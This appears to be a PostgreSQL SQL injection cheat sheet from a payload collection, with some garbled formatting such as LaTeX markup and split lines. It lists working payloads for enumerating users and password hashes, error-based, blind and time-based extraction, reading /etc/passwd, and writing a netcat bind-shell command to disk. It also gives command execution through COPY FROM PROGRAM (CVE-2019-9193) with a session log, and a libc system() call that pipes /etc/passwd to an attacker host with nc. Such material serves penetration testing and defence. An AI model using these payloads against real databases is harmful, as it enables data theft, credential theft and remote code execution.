# PostgreSQL injection

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#### PostgreSQL Comments

```
--
/**/
```

# PostgreSQL Version

```
SELECT version()
```

# PostgreSQL Current User

```
SELECT user;
SELECT current_user;
SELECT session_user;
```

```
SELECT usename FROM pg_user;
SELECT getpgusername();
```

# PostgreSQL List Users

```
SELECT usename FROM pg_user
```

# PostgreSQL List Password Hashes

```
SELECT usename, passwd FROM pg_shadow
```

# PostgreSQL List Database Administrator Accounts

```
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```

## PostgreSQL List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg\_user

# PostgreSQL Check if Current User is Superuser

```
SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
```

#### PostgreSQL Database Name

```
SELECT current_database()
```

#### PostgreSQL List Database

**SELECT** datname **FROM** pg\_database

### PostgreSQL List Tables

**SELECT** table\_name **FROM** information\_schema.tables

#### PostgreSQL List Columns

```
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```

#### PostgreSQL Error Based

```
, cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||
(sEleCt + table\_name + fRoM + information\_schema.tables + limit + 1 + offset + data\_offset) | | chr(12) | | chr(
6)+as+nUmeRiC)--
,cAsT(chr(126)||
(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lIm
It+1+offset+data_offset) | | chr(126)+as+nUmeRiC) --
,cAsT(chr(126)||
(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET
data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE
table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int)
and '1'='1
```

# PostgreSQL XML helpers

```
select query_to_xml('select * from pg_user', true, true, '''); -- returns all the results
as a single xml row
```

The query\_to\_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

```
select database_to_xml(true,true, !!); -- dump the current database to XML
select database_to_xmlschema(true,true, !!); -- dump the current db to an XML schema
```

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

#### PostgreSQL Blind

```
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
```

#### PostgreSQL Time Based

```
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```

## PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

```
\verb|http://host/vuln.php?id=injection'; \textbf{create table NotSoSecure (data } \underline{varchar} (200)); --
```

#### PostgreSQL File Read

```
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```

NOTE: Earlier versions of Postgres did not accept absolute paths in pg\_read\_file or pg\_ls\_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default\_role\_read\_server\_files group.

```
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```

```
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID

SELECT lo_get(16420); -- use the OID returned from the above

SELECT * from pg_largeobject; -- or just get all the large objects and their data
```

#### PostgreSQL File Write

```
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```

Or as one line:

```
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```

```
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at
```

```
offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```

# PostgreSQL Command execution

#### CVE-2019-9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

```
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists

CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output

COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function

SELECT * FROM cmd_exec; -- [Optional] View the results

DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
```

```
postgres@ubuntu:~$ /usr/lib/postgresql/11/bin/postgres -V
postgres (PostgreSQL) 11.2 (Ubuntu 11.2-1.pgdg18.04+1)
postgres@ubuntu:~$ psql
psql (11.2 (Ubuntu 11.2-1.pgdg18.04+1))
Type "help" for help.
postgres=# \c postgres
You are now connected to database "postgres" as user "postgres".
postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'whoami';
COPY 1
postgres=# SELECT * FROM cmd_exec;
cmd output
 postgres
(1 row)
```

Using libc.so.6

```
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-
gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```

Bypass Filter

Quotes

#### Using CHR

```
SELECT CHR(65)||CHR(66)||CHR(67);
```

Using Dollar-signs ( >= version 8 PostgreSQL)

```
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
```

#### References

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